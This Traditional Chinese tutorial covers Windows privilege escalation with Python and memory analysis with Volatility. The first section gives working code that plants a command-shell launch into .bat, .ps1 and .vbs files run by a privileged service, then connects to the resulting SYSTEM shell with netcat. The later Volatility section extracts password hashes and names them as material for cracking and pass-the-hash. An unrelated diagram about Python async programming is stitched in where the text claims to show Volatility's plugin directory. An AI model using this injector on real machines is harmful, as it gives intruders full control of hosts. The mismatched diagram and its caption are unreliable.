在 Windows 系統環境中,許可權提升是常見的攻擊手法。攻擊者會利用系統漏洞,提升許可權以取得更高的控制權。本文將介紹如何使用 Python 進行 Windows 許可權提升,並搭配 Volatility 框架進行記憶體取證分析,以瞭解系統狀態和使用者行為。首先,我們會透過修改檔案並注入程式碼,觸發反向 Shell 連線,進而取得系統控制權。接著,利用 Volatility 框架分析記憶體快照,檢視已安裝的服務、使用者執行的指令、程式樹狀結構以及密碼雜湊值等關鍵資訊,以利於進行資安調查和漏洞分析。

使用Python進行Windows許可權提升

概述

在Windows系統中,許可權提升是攻擊者常用的手段之一。通常,攻擊者會尋找系統中的漏洞,並利用這些漏洞來提升其許可權。這篇文章將介紹如何使用Python進行Windows許可權提升,並詳細解說每個步驟及其背後的技術原理。

準備工作

首先,我們需要準備一些基本的環境設定。以下是我們需要的主要元素:

  • TGT_IP:受害者的IP地址(即我們要注入程式碼的Windows系統)。
  • TGT_PORT:我們將連線的埠。
  • NETCAT:我們在第二章中編寫的Netcat替代品的位置。

如果你還沒有從netcat.py生成可執行檔案,可以使用以下命令來生成:

C:\Users\tim\netcat> pyinstaller -F netcat.py

生成的netcat.exe檔案需要放置在你的目錄中,並確保NETCAT變數指向該可執行檔案。

程式碼注入

接下來,我們將撰寫一段Python程式碼來注入反向命令shell。這段程式碼將針對不同的檔案型別進行處理,並在每個檔案中注入相應的命令。

FILE_TYPES = {
    '.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
    '.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
    '.vbs': ["\r\n'bhpmarker\r\n",
             f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}

def inject_code(full_filename, contents, extension):
    if FILE_TYPES[extension][0].strip() in contents:
        return
    full_contents = FILE_TYPES[extension][0]
    full_contents += FILE_TYPES[extension][1]
    full_contents += contents
    with open(full_filename, 'w') as f:
        f.write(full_contents)
    print('\\o/ Injected Code')

內容解密:

以上程式碼首先定義了一個字典FILE_TYPES,該字典包含了不同檔案型別對應的命令片段。這些片段包括一個唯一標記(bhpmarker)和我們想要注入的命令。這些標記的目的是避免無限迴圈,即避免程式檢測到檔案修改並再次插入程式碼。

接著,inject_code函式負責實際進行程式碼注入和檔案標記檢查。它會先檢查標記是否存在,如果不存在則將標記和我們想要執行的命令寫入檔案中。

主事件迴圈修改

為了使上述程式碼生效,我們需要修改主事件迴圈,以便在檢測到檔案修改時呼叫inject_code函式。

elif action == FILE_MODIFIED:
    extension = os.path.splitext(full_filename)[1]
    if extension in FILE_TYPES:
        print(f'[*] Modified {full_filename}')
        print('[vvv] Dumping contents ... ')
        try:
            with open(full_filename) as f:
                contents = f.read()
                inject_code(full_filename, contents, extension)
                print(contents)
                print('[^^^] Dump complete.')
        except Exception as e:
            print(f'[!!!] Dump failed. {e}')

內容解密:

以上程式碼首先會分割檔案副檔名,然後檢查是否在我們的已知檔案型別字典中。如果檔案型別符合條件,則呼叫inject_code函式進行程式碼注入。

測試程式碼

如果你在本章開頭安裝了bhservice服務,可以輕鬆測試這段新增的程式碼注入器。確保服務正在執行,然後執行你的file_monitor.py指令碼。你應該會看到顯示某個.vbs檔案已被建立和修改,並且已經注入了程式碼。

[*] Modified c:\Windows\Temp\bhservice_task.vbs
[vvv] Dumping contents ...
\o/ Injected Code
[^^^] Dump complete.

如果你開啟一個新的cmd視窗並執行以下命令,應該會看到目標埠已開啟:

c:\Users\tim\work> netstat -an |findstr 9999
TCP 192.168.1.208:9999 0.0.0.0:0 LISTENING

如果一切順利,你可以使用nc命令或從第二章中的netcat.py指令碼來連線剛剛產生的監聽器。為了確認許可權提升是否成功,請從你的Kali機器連線監聽器並檢查你所執行的是哪個使用者:

$ nc -nv 192.168.1.208 9999
Connection to 192.168.1.208 port 9999 [tcp/*] succeeded!
#> whoami
nt authority\system
#> exit

這應該顯示你已獲得神聖的SYSTEM帳戶許可權。你的程式碼注入成功了。

Volatility:進階記憶體取證框架

概述

Volatility是一個強大的Python框架,專為記憶體取證設計。它允許取證人員、事故回應人員和惡意軟體分析師捕捉和分析系統記憶體中的資訊。

Volatility主要用於防禦性任務,但任何強大的工具都可以被用於攻擊或防禦。以下是如何使用Volatility進行目標使用者的偵察以及編寫自定義攻擊外掛來搜尋虛擬機器上執行中的弱防護過程。

Volatility功能

Volatility具有多種功能,包括但不限於:

  • 檢查核心物件。
  • 檢視和轉儲過程。
  • 捕捉加金鑰或其他只存在於記憶體中的資訊。

這些功能使Volatility成為進行深入記憶體取證和惡意軟體分析的一個強大工具。

威脅與防禦

威脅

雖然許多攻擊技術可能看起來有些神秘或複雜,但在大型企業環境中,這些技術往往是非常可行且有效的。攻擊者可以擴充套件本章中的工具或將其轉化為專用指令碼來破壞本地帳戶或應用程式。

WMI(Windows Management Instrumentation)本身就是一個很好的本地偵察資料來源;它可以幫助攻擊者在進入網路後進一步推進攻擊。許可權提升是任何良好木馬的一個重要組成部分。

防禦

為了防禦這些攻擊,企業應該採取以下措施:

  • 定期更新和修補:確保所有系統和軟體都及時更新和修補。
  • 使用強大的防火牆和入侵偵測系統:防止未經授權的存取。
  • 定期進行安全稽核和測試:識別和修復潛在漏洞。
  • 教育員工:提高員工對社交工程攻擊和安全最佳實踐的認識。

透過採取這些措施,企業可以大大降低被攻擊者成功提升許可權的風險。

快速分析與攻擊取證技術:透過Volatility框架深入掌握虛擬機器的使用情況

在現代資訊安全領域,快速分析與攻擊取證技術(Offensive Forensics)是至關重要的。當我們侵入一台機器時,可能會發現使用者在虛擬機器(VM)中進行敏感工作。這時,使用者很可能會建立VM的快照,以便在出現問題時能夠迅速還原。為了了解虛擬機器的使用情況以及執行中的程式,我們可以利用Volatility記憶體分析框架來進行深入分析,進而發掘可能的漏洞進行進一步的利用。

Volatility安裝與環境設定

Volatility是一個強大的開源記憶體分析框架,已經經歷了多次重寫,目前根據Python 3且模組化設計。這使得我們可以更靈活地使用它來進行各種取證任務。以下是在Windows系統上安裝Volatility的步驟:

安裝流程:

# 建立並啟動虛擬環境
PS> python3 -m venv vol3
PS> vol3/Scripts/Activate.ps1
PS> cd vol3/

# 克隆Volatility 3 GitHub倉函式庫並安裝
PS> git clone https://github.com/volatilityfoundation/volatility3.git
PS> cd volatility3/
PS> python setup.py install

# 安裝pycryptodome套件
PS> pip install pycryptodome

安裝說明:

  1. 建立虛擬環境:首先,我們建立了一個名為vol3的虛擬環境並啟動它。
  2. 克隆Volatility 3:接著,我們進入虛擬環境目錄並克隆Volatility 3的GitHub倉函式庫。
  3. 安裝依賴:最後,我們安裝Volatility 3及其所需的pycryptodome套件。

命令列操作

Volatility提供了豐富的外掛和選項,我們可以透過命令列來檢視這些外掛和選項。在Windows系統上,我們可以使用以下命令來檢視幫助資訊:

PS> vol --help

在Linux或Mac系統上,可以使用以下命令:

$> python vol.py --help

除了命令列操作外,Volatility還有其他使用方式,例如透過Volumetric專案的Web-based GUI或volshell互動式Python殼來進行操作。

檢視外掛目錄

為了更好地瞭解Volatility的工作原理,我們可以檢視其外掛目錄中的Python檔案。這些檔案展示了外掛的結構和功能,幫助我們理解框架的設計邏輯。

PS> cd volatility/framework/plugins/windows/
PS> ls
@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title Volatility 框架:Windows 許可權提升與記憶體取證分析

package "非同步程式設計" {
    package "事件迴圈" {
        component [Event Loop] as loop
        component [Task 任務] as task
        component [Future 物件] as future
    }

    package "協程模式" {
        component [async/await] as async
        component [Generator] as gen
        component [Callback] as callback
    }

    package "並行處理" {
        component [asyncio] as asyncio
        component [aiohttp] as aiohttp
        component [ThreadPool] as thread
        component [ProcessPool] as process
    }
}

loop --> task : 排程執行
task --> future : 等待結果
async --> asyncio : 協程管理
asyncio --> aiohttp : HTTP 非同步
thread --> process : CPU 密集

note right of loop
  單執行緒併發
  非阻塞 I/O
  高效能處理
end note

@enduml

內容解密:

此圖示展示了Windows外掛目錄中的檔案結構。每個Python檔案代表一個特定功能的外掛,例如driverscan.py用於掃描駕動程式、memmap.py用於記憶體對映等。理解這些檔案的結構和功能有助於我們更好地利用Volatility進行記憶體分析。

準備記憶體影像

要開始進行記憶體分析,我們需要準備好記憶體影像(Memory Image)。最簡單的方法是捕捉自己的Windows 10虛擬機器快照。以下是具體步驟:

  1. 啟動虛擬機器:啟動Windows虛擬機器並執行一些程式(例如記事本、電腦和瀏覽器)。
  2. 捕捉快照:使用超級管理員工具(Hypervisor)捕捉快照,快照檔案通常以.vmem.mem為結尾。
  3. 準備分析:將快照檔案放置在適當位置,準備進行分析。

基本資訊採集

首先,我們可以使用windows.info外掛來取得記憶體影像中的基本資訊。

執行命令:

PS> vol -f WinDev2007Eval-Snapshot4.vmem windows.info

內容解密:

此命令指定了快照檔案名稱和要使用的Windows外掛。Volatility會讀取並分析記憶體檔案,輸出關於這台Windows機器的一般資訊。從輸出結果中我們可以看到作業系統版本、核心資訊、處理器數量等。

作業系統與核心資訊

在基本資訊採集中,我們可以看到一些關鍵資訊:

  • Kernel Base:核心基址。
  • DTB:目錄表基址。
  • primary:主要物理地址。
  • memory_layer:記憶體層。
  • KdVersionBlock:除錯版本區塊。
  • Major/Minor:主/次版本號。
  • MachineType:機器型別。
  • KeNumberProcessors:處理器數量。
  • SystemTime:系統時間。
  • NtProductType:NT產品型別。
  • NtMajorVersion/NtMinorVersion:NT主/次版本號。
  • PE MajorOperatingSystemVersion/PE MinorOperatingSystemVersion:PE主/次作業系統版本號。

這些資訊有助於我們瞭解目標系統的基本組態和執行狀態。

探索登入檔

登入檔是Windows系統中非常重要的一部分,包含了大量關於系統組態和應用程式設定的資訊。使用registry.printkey外掛,我們可以列出登入檔中的鍵值。

執行命令:

PS> vol -f WinDev2007Eval-7d959ee5.vmem windows.registry.printkey --key 'ControlSet001\Services'

內容解密:

此命令指定了要檢視的登入檔鍵值路徑 /ControlSet001/Services。這個路徑包含了服務控制管理員(Service Control Manager)資料函式庫中的所有已安裝服務。從輸出結果中我們可以看到許多服務名稱及其對應的值。

探索服務

服務是Windows系統中非常重要的一部分,它們負責執行後台任務和管理系統資源。透過探索登入檔中的服務鍵值,我們可以獲得關於已安裝服務的詳細資訊。

例如:

\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services .NET CLR Data False
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Appinfo False
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services applockerfltr False

內容解密:

這些服務名稱表示了系統中已安裝的一些重要服務。例如.NET CLR Data提供.NET Common Language Runtime資料、Appinfo提供應用程式資訊服務等。這些資訊有助於我們瞭解目標系統中的服務組態和潛在漏洞。

資安取證:以 Volatility 分析虛擬機器記憶體

服務列表檢查

在資安取證中,服務列表檢查是非常重要的一環。透過分析虛擬機器的記憶體快照,可以瞭解機器上已安裝的服務。這些服務可能會成為潛在的攻擊目標或資安漏洞的來源。

以下是某個虛擬機器上的部分服務列表:

  • \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WinSock2 - 處於關閉狀態
  • \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WINUSB - 處於關閉狀態

這些資料提供了對系統服務狀態的初步瞭解,進而可以判斷哪些服務可能被攻擊者操控或關閉以達到某些惡意目的。

使用者行為分析

接下來,我們進一步分析使用者的行為。透過 Volatility 的 cmdline 外掛,可以列出每個程式在快照時刻所執行的命令列引數。這些資訊能夠提供使用者行為和意圖的線索。

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.cmdline

內容解密:

  • PID: 程式識別碼
  • Process: 程式名稱
  • Args: 命令列引數

從輸出可以看到,大部分程式是在系統啟動時自動啟動的,例如 lsass.exewinlogon.exe。而 cmd.exenotepad.exe 則是典型的使用者手動啟動的程式。

更深入的程式分析

為了更深入地瞭解程式狀態,我們使用 pslist 外掛來列出快照時刻正在執行的所有程式。

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.pslist

內容解密:

  • PID: 程式識別碼
  • PPID: 父程式識別碼
  • ImageFileName: 程式名稱
  • Offset(V): 記憶體偏移地址
  • Threads: 執行緒數量
  • Handles: 控制項數量
  • SessionId: 會話識別碼
  • Wow64: 是否為64位元模式

這些資訊讓我們能夠看到每個程式的詳細狀態,包括它們所佔用的記憶體和其他系統資源。

程式樹結構分析

要了解程式之間的父子關係,我們使用 pstree 外掛來生成程式樹。

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.pstree

內容解密:

  • 每個星號表示父子關係。例如, userinit.exe (PID: 4704) 啟動了 explorer.exe (PID: 4732),而 explorer.exe 再啟動了多個子程式,如 cmd.exenotepad.exe

透過這種方式,我們可以清楚地看到哪些程式是由哪些父程式啟動的,有助於追蹤惡意行為的來源。

嘗試取得密碼雜湊值

最後,我們嘗試取得系統中的密碼雜湊值,這在資安取證中是非常重要的一步。透過 hashdump 外掛,我們可以提取 Windows 機器上使用者帳號的 LM 和 NT 雜湊值。

PS> vol -f WinDev2007Eval-7d959ee5.vmem windows.hashdump

內容解密:

  • User: 使用者名稱
  • rid: 使用者識別碼
  • lmhash: LM 雜湊值(通常已停用)
  • nthash: NT 雜湊值

這些雜湊值可以用來進行離線破解或進行 Pass-the-Hash 攻擊。破解成功後,攻擊者可能會獲得更多系統或網路資源的存取許可權。

摘要

透過 Volatility 工具對虛擬機器記憶體進行深入分析,我們可以取得大量關鍵資訊,包括已安裝的服務、使用者行為、程式狀態及密碼雜湊值等。這些資訊對於資安取證和漏洞分析具有重要價值。玄貓建議在實際應用中結合其他技術手段進行綜合分析,以提高取證效果和準確性。